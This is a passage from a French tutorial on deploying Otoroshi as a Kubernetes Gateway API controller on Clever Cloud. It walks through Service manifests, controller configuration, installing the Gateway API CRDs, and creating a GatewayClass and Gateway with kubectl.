&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8443&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;http&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    targetPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;https&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Voici les principaux choix de configuration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stockage&lt;/strong&gt; : nous utilisons ici &lt;code&gt;APP_STORAGE=inmemory&lt;/code&gt; pour garder les choses simples et éviter de mettre en place un stockage de données externe pour cette démo. C’est le moyen le plus rapide de faire tourner Otoroshi : aucune dépendance, aucune configuration supplémentaire. Mais soyons clairs sur le compromis : avec le stockage en mémoire, toute la configuration d’Otoroshi disparaît dès que le pod redémarre, et vous ne pouvez compter que sur les CRD d’Otoroshi pour vos configurations. En production, il vous faut absolument un backend persistant.&lt;/p&gt;
&lt;p&gt;Le choix naturel est Redis (&lt;code&gt;APP_STORAGE=redis&lt;/code&gt;), utilisé par la plupart des déploiements d’Otoroshi en production. Si vous êtes déjà sur Clever Cloud, bonne nouvelle : des &lt;a href=&quot;https://www.clever.cloud/developers/doc/addons/redis/&quot;&gt;add-ons Redis sont disponibles directement sur la plateforme&lt;/a&gt; — il suffit d’en provisionner un et de brancher la chaîne de connexion. Au-delà de la persistance, un déploiement de production voudra aussi faire tourner plusieurs instances d’Otoroshi pour la haute disponibilité. Otoroshi propose un mode cluster dans lequel les instances partagent leur état via Redis, ce qui s’accorde naturellement avec l’offre Redis managée de Clever Cloud. Pour aller plus loin, l’&lt;a href=&quot;https://www.clever.cloud/developers/doc/kubernetes/operator/&quot;&gt;opérateur Kubernetes de Clever Cloud&lt;/a&gt; vous permet de provisionner et de gérer les add-ons Clever Cloud (Redis compris) directement depuis des manifestes Kubernetes — idéal si vous voulez tout garder en GitOps.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le serveur Netty&lt;/strong&gt; : ces variables &lt;code&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_*&lt;/code&gt; activent le serveur HTTP nouvelle génération d’Otoroshi, basé sur Netty. Ce serveur gère correctement HTTP/1.1, HTTP/2 et HTTP/3, et il est indispensable pour le support de gRPC. Nous l’activons et l’associons aux ports 80 et 443.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La configuration de la Gateway API&lt;/strong&gt; — c’est la partie critique — se trouve dans &lt;code&gt;OTOROSHI_INITIAL_CUSTOMIZATION&lt;/code&gt;. Décortiquons-la :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;config&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;scripts&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;enabled&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;jobRefs&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      &quot;jobConfig&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;KubernetesConfig&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApi&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiWatch&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiControllerName&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;otoroshi.io/gateway-controller&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiHttpListenerPort&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiHttpsListenerPort&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;span&gt;8443&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;gatewayApiSyncIntervalSeconds&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;jobRefs&quot;&lt;/code&gt; active le job d’arrière-plan &lt;code&gt;KubernetesGatewayApiControllerJob&lt;/code&gt; — c’est le composant qui surveille les ressources de la Gateway API et les réconcilie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApi&quot;: true&lt;/code&gt; active le contrôleur Gateway API&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiWatch&quot;: true&lt;/code&gt; active la surveillance quasi temps réel des ressources Kubernetes (au lieu d’un simple polling à intervalle fixe)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiControllerName&quot;: &quot;otoroshi.io/gateway-controller&quot;&lt;/code&gt; est l’identifiant du contrôleur — il doit correspondre exactement au &lt;code&gt;controllerName&lt;/code&gt; de votre ressource &lt;code&gt;GatewayClass&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiHttpListenerPort&quot;: [8080, 80]&lt;/code&gt; — indique à Otoroshi quelles valeurs de port sont valides pour les listeners HTTP des ressources &lt;code&gt;Gateway&lt;/code&gt;. Les Gateway qui référencent le port 8080 ou le port 80 seront acceptées&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;gatewayApiSyncIntervalSeconds&quot;: 10&lt;/code&gt; — avec le mode watch activé, c’est l’intervalle entre deux cycles de réconciliation forcée&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Les deux Services&lt;/strong&gt; : nous créons deux services pour Otoroshi :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;otoroshi-service&lt;/code&gt; (ClusterIP sur 8080/8443) — accès interne pour les autres pods du cluster&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;otoroshi-lb-external&lt;/code&gt; (LoadBalancer sur 80/443) — c’est lui qui est exposé au monde extérieur. Clever Cloud provisionne un load balancer externe et lui attribue une IP publique&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Appliquez le déploiement :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; manifests/otoroshi.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;étape-7--surveiller-les-logs&quot;&gt;Étape 7 : surveiller les logs&lt;/h3&gt;
&lt;p&gt;Déployer quelque chose de nouveau a son rituel : on attend, et on regarde les logs. Suivons le démarrage d’Otoroshi :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; logs&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; deploy/otoroshi&lt;/span&gt;&lt;span&gt; --tail=200&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vous verrez Otoroshi démarrer, initialiser son stockage, lancer les jobs de synchronisation Kubernetes, et finir par afficher quelque chose comme :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[INFO] [KubernetesGatewayApiControllerJob] Gateway API controller started, watching for GatewayClass resources with controllerName: otoroshi.io/gateway-controller&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;C’est le signal que vous attendiez. Le contrôleur Gateway API tourne et il est prêt à prendre en charge les ressources.&lt;/p&gt;
&lt;p&gt;Pendant qu’Otoroshi devient opérationnel, vous pouvez aussi consulter le service load balancer pour connaître l’IP externe qui lui a été attribuée :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La colonne &lt;code&gt;EXTERNAL-IP&lt;/code&gt; affichera d’abord &lt;code&gt;&amp;#x3C;pending&gt;&lt;/code&gt;. Une fois le load balancer provisionné par Clever Cloud, elle se remplira avec une véritable adresse IP. Notez cette IP : vous en aurez besoin pour la configuration DNS et pour les tests.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; otoroshi-lb-external&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;                   TYPE&lt;/span&gt;&lt;span&gt;           CLUSTER-IP&lt;/span&gt;&lt;span&gt;      EXTERNAL-IP&lt;/span&gt;&lt;span&gt;        PORT&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;S&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;otoroshi-lb-external&lt;/span&gt;&lt;span&gt;   LoadBalancer&lt;/span&gt;&lt;span&gt;   10.x.x.x&lt;/span&gt;&lt;span&gt;        &amp;#x3C;&lt;/span&gt;&lt;span&gt;LOAD_BALANCER_I&lt;/span&gt;&lt;span&gt;P&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt;  80:...,&lt;/span&gt;&lt;span&gt; 443:...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;étape-8--installer-les-crd-de-la-gateway-api&quot;&gt;Étape 8 : installer les CRD de la Gateway API&lt;/h3&gt;
&lt;p&gt;La Gateway API n’est pas intégrée par défaut à Kubernetes : elle est distribuée sous forme de CRD séparées. Nous devons les installer avant de pouvoir créer des ressources &lt;code&gt;GatewayClass&lt;/code&gt;, &lt;code&gt;Gateway&lt;/code&gt; ou &lt;code&gt;HTTPRoute&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;L’équipe SIG Network maintient les artefacts de release officiels. Nous utilisons la v1.4.0 :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; &apos;https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.4.0/standard-install.yaml&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cela installe les CRD du canal stable : &lt;code&gt;GatewayClass&lt;/code&gt;, &lt;code&gt;Gateway&lt;/code&gt;, &lt;code&gt;HTTPRoute&lt;/code&gt;, &lt;code&gt;GRPCRoute&lt;/code&gt;, &lt;code&gt;ReferenceGrant&lt;/code&gt;, et quelques autres.&lt;/p&gt;
&lt;p&gt;Vérifiez qu’elles sont bien en place :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; crds&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; grep&lt;/span&gt;&lt;span&gt; gateway.networking.k8s.io&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vous devriez voir des entrées pour &lt;code&gt;gatewayclasses.gateway.networking.k8s.io&lt;/code&gt;, &lt;code&gt;gateways.gateway.networking.k8s.io&lt;/code&gt;, &lt;code&gt;httproutes.gateway.networking.k8s.io&lt;/code&gt;, et ainsi de suite.&lt;/p&gt;
&lt;h3 id=&quot;étape-9--déployer-la-configuration-de-la-gateway&quot;&gt;Étape 9 : déployer la configuration de la Gateway&lt;/h3&gt;
&lt;p&gt;C’est maintenant que ça devient amusant. Nous devons créer deux ressources : une &lt;code&gt;GatewayClass&lt;/code&gt; qui dit à Kubernetes « c’est Otoroshi qui s’en charge », et une &lt;code&gt;Gateway&lt;/code&gt; qui définit notre configuration d’écoute.&lt;/p&gt;
&lt;p&gt;Voici le manifeste (&lt;code&gt;manifests/gateway.yaml&lt;/code&gt;) :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;GatewayClass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  controllerName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi.io/gateway-controller&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo-otoroshi-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  gatewayClassName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  listeners&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    protocol&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    hostname&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;*.demo-cke.io&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    allowedRoutes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      namespaces&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        from&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Voyons cela de plus près :&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GatewayClass&lt;/strong&gt; : le &lt;code&gt;controllerName&lt;/code&gt; — ici &lt;code&gt;otoroshi.io/gateway-controller&lt;/code&gt; — doit correspondre exactement au &lt;code&gt;gatewayApiControllerName&lt;/code&gt; que nous avons configuré dans les variables d’environnement d’Otoroshi. C’est ainsi qu’Otoroshi revendique la gestion de cette GatewayClass.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gateway&lt;/strong&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;gatewayClassName: otoroshi&lt;/code&gt; relie cette Gateway à notre GatewayClass&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le listener écoute sur le port 80 (HTTP), qui correspond à l’une de nos valeurs &lt;code&gt;gatewayApiHttpListenerPort&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hostname: &quot;*.demo-cke.io&quot;&lt;/code&gt; est un wildcard : n’importe quel sous-domaine de &lt;code&gt;demo-cke.io&lt;/code&gt; peut être routé par cette gateway&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;allowedRoutes.namespaces.from: All&lt;/code&gt; signifie que des ressources HTTPRoute de &lt;em&gt;n’importe quel&lt;/em&gt; namespace peuvent se rattacher à cette gateway. En production, vous voudrez plutôt &lt;code&gt;Same&lt;/code&gt; ou &lt;code&gt;Selector&lt;/code&gt; avec des labels spécifiques&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Appliquez-le :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; apply&lt;/span&gt;&lt;span&gt; -f&lt;/span&gt;&lt;span&gt; manifests/gateway.yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Quelques secondes après l’avoir appliqué (le mode watch de la Gateway API réagit très vite avec &lt;code&gt;gatewayApiSyncIntervalSeconds: 2&lt;/code&gt;), vous pouvez vérifier que la GatewayClass a bien été acceptée :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; gatewayclass&lt;/span&gt;&lt;span&gt; otoroshi&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Regardez la section status :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  conditions&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;lastTransitionTime&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;...&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    message&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;GatewayClass accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    reason&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    status&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;True&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Accepted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Accepted: True&lt;/code&gt; signifie qu’Otoroshi a reconnu la GatewayClass et qu’il la gère. Si vous voyez &lt;code&gt;False&lt;/code&gt;, vérifiez que le &lt;code&gt;controllerName&lt;/code&gt; correspond exactement : il est sensible à la casse.&lt;/p&gt;
&lt;h3 id=&quot;étape-10--déployer-une-application-de-démo-et-une-httproute&quot;&gt;Étape 10 : déployer une application de démo et une HTTPRoute&lt;/h3&gt;
